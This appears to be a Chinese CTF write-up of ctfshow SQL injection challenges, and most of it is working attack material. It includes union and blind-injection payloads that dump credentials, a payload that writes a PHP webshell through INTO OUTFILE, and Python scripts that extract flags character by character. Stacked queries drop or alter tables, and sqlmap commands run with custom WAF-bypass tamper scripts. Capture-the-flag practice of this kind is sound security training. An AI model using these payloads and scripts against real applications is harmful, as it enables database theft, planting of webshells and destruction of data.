最简单的sql注入,先演示基本操作
payload:
-1' union select 1,2,database() --+ //得到数据库名为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+ //得到数据表名为ctfshow_user
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+ //得到列名为id,username,password
-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+
或者
-1' or id='26
SELECT模块,无过滤注入2
payload:
-1' union select id,password from ctfshow_user2 where username='flag
无过滤注入3
返回结果中不能有flag关键字
payload:
-1' union select id,id,password from ctfshow_user3 where username='flag
和上一题基本一样,只不过多了一列,补上id即可
返回结果过滤了数字,flag中可以就会有数字
我们需要做的就是使得返回结果里不能有数字
最笨的方法,使用replace函数将0-9进行替换
replace("password","1","!")
这句话的意思就是将password当中的1替换为!
payload:
-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj') from ctfshow_user4 where username='flag
得到
ctfshow{anbinbgnbanbdbnbgf-nbanbfnbfa-nbdbenbh-aanbanbi-enbenbfnbjednbenbgeanbee}
替换之后得到
ctfshow{a9714b7f-166a-4be8-aa19-e560ed57ea5e}
如果返回结果中没有ASCII码在 00-7f范围的,才会查询成功。
方法1:
把flag直接写入到网站根目录
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+
方法二:
类似的,写入一句话木马
-1' union select 1,"" into outfile '/var/www/html/1.php
将其中的进行base64编码,在进行url编码,得到
%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b
-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php
之后就可以使用蚁剑了
使用蚁剑的"数据操作"功能
得到flag
看不到过滤了什么
payload:
-1' or username='flag
过滤了空格
payload:
-1'%0aor%0ausername='flag
或者
%09
%0a
%0d
%0c
/**/
payload同上
payload:
-1'%0cor%0cusername='flag
同上题
这次显示了过滤的内容
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
payload:
-1'%0cor%0cusername='flag
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
在上面的基础上过滤了flag
模糊匹配,payload:
-1'%0cor%0cusername%0clike'%fla%
改成了post传参
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
并且只回显有几条查询结果
脚本:
import requests
import time
url = 'http://7f66a4b7-a0c3-450c-9766-cead514a5ba7.challenge.ctf.show/select-waf.php'
flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'
flag = ''
for i in range(0,40):
for x in flagstr:
data = {
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
}
response = requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("user_count = 1;")>0:
print("{} is right".format(x))
flag+=x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
过滤了where,反引号,单引号,双引号,上一题的脚本不能用了
但是没有过滤空格
可以用having代替where
可以使用十六进制字符串代替双引号中的内容
脚本:
import requests
import time
url = 'http://3cd237b1-5207-4df4-9bbb-cef2d3b406ed.challenge.ctf.show/select-waf.php'
flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'
def str2hex(str):
a = ""
for x in str:
a += hex(ord(x))
return a.replace("0x","")
def main():
flag = ''
for i in range(0,40):
for x in flagstr:
data = {
"tableName":"ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x))
}
response = requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("user_count = 1;")>0:
print("{} is right".format(x))
flag+=x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
if __name__ == '__main__':
main()
跑出来的内容前面加上ctfshow即可
另外
发现这样也能跑出flag,只不过没有前面的ctfshow,需要自己手动加
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
过滤了数字,上面的payload不能用了
原理:
select true+true; 返回 2
select concat((true+true),(true+true)); 返回 22
以此来构造数字
# 每秒发送不超过5个请求
# mysql 官方文档 https://dev.mysql.com/doc/refman/5.7/en/replication.html 5.7版本的
import requests
import time
url = "http://7a83d1b4-2842-4835-aa5e-86dec685ca56.challenge.ctf.show/select-waf.php"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
# flagstr = "{"
def str2hex(str):
a = ""
for x in str:
a += hex(ord(x))
return "0x" + a.replace("0x", "")
# 63746673686f777b
def formatString(str):
temp = "concat("
for x in str:
temp += char2boolean(x)
return temp[:-1] + ")"
def char2boolean(ch):
num = ord(ch)
temp = "char("
for x in range(num):
temp += "true+"
return temp[:-1] + "),"
# ctfshow{55eff0b8-fa84-4ee8-9cd2-4e84cdd78b73}
def main():
flag = "ctfshow"
for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp({})".format(formatString(flag + x))
}
response = requests.post(url, data=data)
time.sleep(0.3)
if response.text.find("user_count = 1;") > 0:
print("{} is right".format(x))
flag += x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
if __name__ == '__main__':
main()
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
上面的脚本还能用
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
这里的md5,有参数true
得到
特殊字符串:ffifdyop
得到:'or'6�]��!r,��b
bp抓包,即可得到flag
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
登录成功就会给flag
当我们执行sql语句:select username,password from user where username=0;
这里没有用单引号包裹起来,而且是是弱类型比较
比如:admin == 0
4abc == 4
所以都输入0即可
本题提示:flag在api/index.php文件中
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
上一题的方法不行了
脚本:
# 每秒发送不超过5个请求
import requests
import time
url = "http://69fb68f6-c5ce-426d-9f6f-1c95d1909df6.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
#$flag=ctfshow{482606d4-6025-426d-85ca-05613d7a829d};
flag = ""
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("8d25")>0:
print("{} is right".format(x))
flag+=x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
脚本:
import requests
import sys
import time
url = "http://9a62dd14-5b53-4122-a600-fa9f56a1d827.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid
#ctfshow{77de2af3-6f34-4d20-adc7-8aba40a40ffe}
二分法的盲注
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
过滤了ASCII,使用ord替代
脚本:
import requests
import sys
import time
url = "http://0746ea92-e768-4d5b-94a4-d06e8e6d1126.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
ord和hex也被过滤了
不在使用ascii码进行判断,直接对字母进行判断
脚本:
import requests
import sys
import time
url = "http://adb090c2-705c-4501-9efc-fd82f651bae7.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)
data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
flag += mid
print(flag)
break
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
把substr也过滤了
用left替换即可
但是这道题的数据表变了,需要额外跑数据表
脚本:
import requests
import sys
import time
url = "http://fab51b68-1646-473b-b9de-e1925edaa3fc.challenge.ctf.show/api/"
flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)
data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print(flag)
break
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
left,right也没了
使用lpad代替
脚本:
import requests
import sys
import time
url = "http://8bf7e90b-c558-4ded-a6c8-f1648a3f79aa.challenge.ctf.show/api/"
flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)
data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print(flag)
break
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
堆叠注入:多条sql语句堆在一起执行
不能有空格
思路:修改表名
username=1;update`ctfshow_user`set`pass`=1&password=1
然后直接登录
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
限制了长度
密码正确就可以拿到flag
用户名0
密码使用以前泄露的默认密码登录即可
0
passwordAUTO
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
上题的方法可以继续使用
另一种方法:
用户名输入
0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,2)
密码随便输
这里的意思就是删除以前的表,再自己新建一个并且插入数据:1,2
然后直接使用1,2登录即可得到flag
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
把上题的drop过滤了
思路:将username和password互换
username:
0;alter table ctfshow_user change `username` `passw2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw2` `pass` varchar(100);
password随便输入
然后:用户名0 密码userAUTO 登陆即可
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
过滤了括号,限制了上一题的payload中的varchar(100)
改为text即可
0;alter table ctfshow_user change `username` `passw2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw2` `pass` text;
其他操作同上
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
可以继续使用上一题的payload
或者
用户名:0;show tables;
密码:ctfshow_user
开始练习sqlmap的使用
下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
题目说了要指定两个参数
python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show
查询数据库:
python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs
查询数据表:
python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
查询列:
python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
查询数据
python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
得到flag
提示使用--data 调整sqlmap的请求方式
前面查询数据库,数据表,列的步骤基本相同,差别就是在中间加一条:--data="id=1"
直接最后一步:
python sqlmap.py -u "http://b794446b-7f11-4600-beba-3de5961369b7.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
使用--method 调整sqlmap的请求方式
python sqlmap.py -u "http://f3705260-6038-4926-bdbc-010956e9bfe0.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
另外,还需要加一个:--header=Content-Type:text/plain
使用--cookie 提交cookie数据
可以看到页面的cookie
将两个cookie都加上
python sqlmap.py -u "http://623325d8-3c3c-42ff-9423-e185e72a674a.challenge.ctf.show/api/index.php" --data="id=1" --cookie="ctfshow=589d4876207ce99dd659c014bce92754;PHPSESSID=6jto7cppsplvq5345kihs8g5s2" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
api调用需要鉴权
抓包先看一下
发现会发送到getToken.php
点击Forward
这个是上面题目类型的正常请求
使用--safe-url=SAFEURL 设置在测试目标地址前访问的安全链接,而且使用这个参数时需要指定--safe-freq
这道题的数据表换了,所以需要我们重新查表
python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables
得到
python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump
得到flag
sql需要闭合
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
--prefix=PREFIX 攻击载荷的前缀
--suffix=SUFFIX 攻击载荷的后缀
python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables
python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump
这里的脚本在sqlmap的tamper目录中
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}
过滤了空格
space2comment.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal
python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables
python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxca --dump
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
将select替空,可以使用双写绕过,也可以使用大小写绕过
python ./sqlmap.py -u "http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6fbif0l74ghbo1shdhvkutu476" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/space2comment.py,tamper/randomcase.py"
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}
过滤了 空格 * =
空格和*可以使用%0a代替,=可以使用like代替
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == '*':
retVal += chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
python ./sqlmap.py -u "http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6ki566sj2j85e1f3rjri4iai26" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb209.py"
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
对id进行base64解码,然后反转,然后再解码,然后再反转
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import base64
from winreg import REG_OPTION_VOLATILE
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def doublebase64encode(payload):
retVal = payload
if payload:
retVal = retVal[::-1]
retVal = base64.b64encode(retVal.encode('utf-8'))
retVal = retVal[::-1]
retVal = base64.b64encode(retVal).decode('utf-8')
return retVal
def tamper(payload, **kwargs):
payload = doublebase64encode(payload)
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == '*':
retVal += chr(0x31)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
python ./sqlmap.py -u "http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=rruut5lcilotv3sbidlsrgic9r" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb210.py"